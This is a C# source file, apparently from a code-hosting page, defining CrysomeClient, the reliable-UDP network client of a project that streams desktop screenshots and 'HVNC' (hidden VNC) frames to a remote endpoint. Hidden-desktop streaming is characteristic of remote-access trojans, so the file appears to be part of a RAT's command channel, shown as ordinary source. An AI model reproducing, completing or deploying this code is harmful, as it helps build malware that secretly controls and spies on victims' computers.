193 lines
3.8 KiB
C#
193 lines
3.8 KiB
C#
using System;
|
|||
|
|
using System.Collections.Concurrent;
|
||
|
|
using System.IO;
|
||
|
|
using System.Net;
|
||
|
|
using System.Threading;
|
||
|
|
using Crysome.Common.Network.Packets;
|
||
|
|
|
||
|
|
namespace Crysome.Common.Network;
|
||
|
|
|
||
|
|
public class CrysomeClient
|
||
|
|
{
|
||
|
|
private RudpChannel _rudp;
|
||
|
|
|
||
|
|
private CancellationTokenSource _readCts = new CancellationTokenSource();
|
||
|
|
|
||
|
|
private readonly BlockingCollection<IPacket> _inQueue = new BlockingCollection<IPacket>(2048);
|
||
|
|
|
||
|
|
private static int _clientIdGen = new Random().Next(1, 100000);
|
||
|
|
|
||
|
|
public bool IsConnected
|
||
|
|
{
|
||
|
|
get
|
||
|
|
{
|
||
|
|
if (_rudp != null && _rudp.IsAlive)
|
||
|
|
{
|
||
|
|
return !_readCts.IsCancellationRequested;
|
||
|
|
}
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
public IPEndPoint RemoteAddress => _rudp?.Remote;
|
||
|
|
|
||
|
|
public IPEndPoint LocalAddress => null;
|
||
|
|
|
||
|
|
public int Port => 0;
|
||
|
|
|
||
|
|
public double RttMs => _rudp?.RttMs ?? 0.0;
|
||
|
|
|
||
|
|
public double LossRate => _rudp?.LossRate ?? 0.0;
|
||
|
|
|
||
|
|
public long BytesSent => _rudp?.BytesSent ?? 0;
|
||
|
|
|
||
|
|
public long BytesRecv => _rudp?.BytesRecv ?? 0;
|
||
|
|
|
||
|
|
public uint UdpSessionToken { get; set; }
|
||
|
|
|
||
|
|
public IPEndPoint UdpRemoteEndPoint { get; set; }
|
||
|
|
|
||
|
|
public uint UdpLastFrameSeq { get; set; }
|
||
|
|
|
||
|
|
public event EventHandler PacketReceived;
|
||
|
|
|
||
|
|
public event EventHandler PacketSent;
|
||
|
|
|
||
|
|
public void Connect(IPAddress address, int port)
|
||
|
|
{
|
||
|
|
IPEndPoint remote = new IPEndPoint(address, port);
|
||
|
|
RudpChannel rudpChannel = new RudpChannel(NextSessionId(), remote);
|
||
|
|
rudpChannel.Start();
|
||
|
|
AttachChannel(rudpChannel);
|
||
|
|
Thread.Sleep(50);
|
||
|
|
}
|
||
|
|
|
||
|
|
private static uint NextSessionId()
|
||
|
|
{
|
||
|
|
uint num = (uint)Interlocked.Increment(ref _clientIdGen);
|
||
|
|
if (num != 0)
|
||
|
|
{
|
||
|
|
return num;
|
||
|
|
}
|
||
|
|
return (uint)Interlocked.Increment(ref _clientIdGen);
|
||
|
|
}
|
||
|
|
|
||
|
|
private void AttachChannel(RudpChannel channel)
|
||
|
|
{
|
||
|
|
_rudp = channel;
|
||
|
|
_rudp.ReliableReceived += OnReliableData;
|
||
|
|
_rudp.UnreliableFrameReceived += OnUnreliableControl;
|
||
|
|
_rudp.Disconnected += OnDisconnected;
|
||
|
|
}
|
||
|
|
|
||
|
|
public RudpChannel GetRudpChannel()
|
||
|
|
{
|
||
|
|
return _rudp;
|
||
|
|
}
|
||
|
|
|
||
|
|
public void SendPacket(IPacket packet)
|
||
|
|
{
|
||
|
|
byte[] payload = PacketSerializer.Serialize(packet);
|
||
|
|
_rudp.SendReliable(payload);
|
||
|
|
this.PacketSent?.Invoke(this, EventArgs.Empty);
|
||
|
|
}
|
||
|
|
|
||
|
|
public void SendPacketUnreliable(IPacket packet)
|
||
|
|
{
|
||
|
|
byte[] payload = PacketSerializer.Serialize(packet);
|
||
|
|
_rudp.SendUnreliable(0, payload);
|
||
|
|
this.PacketSent?.Invoke(this, EventArgs.Empty);
|
||
|
|
}
|
||
|
|
|
||
|
|
public void SendDesktopScreenFrame(byte[] jpegData)
|
||
|
|
{
|
||
|
|
if (jpegData != null && jpegData.Length != 0)
|
||
|
|
{
|
||
|
|
_rudp.SendUnreliable(36, jpegData);
|
||
|
|
this.PacketSent?.Invoke(this, EventArgs.Empty);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
public void SendHvncFrame(byte[] jpegData)
|
||
|
|
{
|
||
|
|
if (jpegData != null && jpegData.Length != 0)
|
||
|
|
{
|
||
|
|
_rudp.SendUnreliable(46, jpegData);
|
||
|
|
this.PacketSent?.Invoke(this, EventArgs.Empty);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
public IPacket ReadPacket()
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
IPacket result = _inQueue.Take(_readCts.Token);
|
||
|
|
this.PacketReceived?.Invoke(this, EventArgs.Empty);
|
||
|
|
return result;
|
||
|
|
}
|
||
|
|
catch (OperationCanceledException)
|
||
|
|
{
|
||
|
|
throw new IOException("Connection closed");
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
public void Disconnect()
|
||
|
|
{
|
||
|
|
_readCts.Cancel();
|
||
|
|
try
|
||
|
|
{
|
||
|
|
_rudp?.SendFin();
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
}
|
||
|
|
try
|
||
|
|
{
|
||
|
|
_rudp?.Dispose();
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private void OnReliableData(byte[] payload)
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
IPacket packet = PacketSerializer.Deserialize(payload);
|
||
|
|
if (packet != null && !_inQueue.IsAddingCompleted)
|
||
|
|
{
|
||
|
|
_inQueue.TryAdd(packet, 100);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private void OnUnreliableControl(byte typeId, byte[] data)
|
||
|
|
{
|
||
|
|
if (typeId != 0 || data == null)
|
||
|
|
{
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
try
|
||
|
|
{
|
||
|
|
IPacket packet = PacketSerializer.Deserialize(data);
|
||
|
|
if (packet != null && !_inQueue.IsAddingCompleted)
|
||
|
|
{
|
||
|
|
_inQueue.TryAdd(packet, 20);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private void OnDisconnected()
|
||
|
|
{
|
||
|
|
_readCts.Cancel();
|
||
|
|
_inQueue.CompleteAdding();
|
||
|
|
}
|
||
|
|
}
|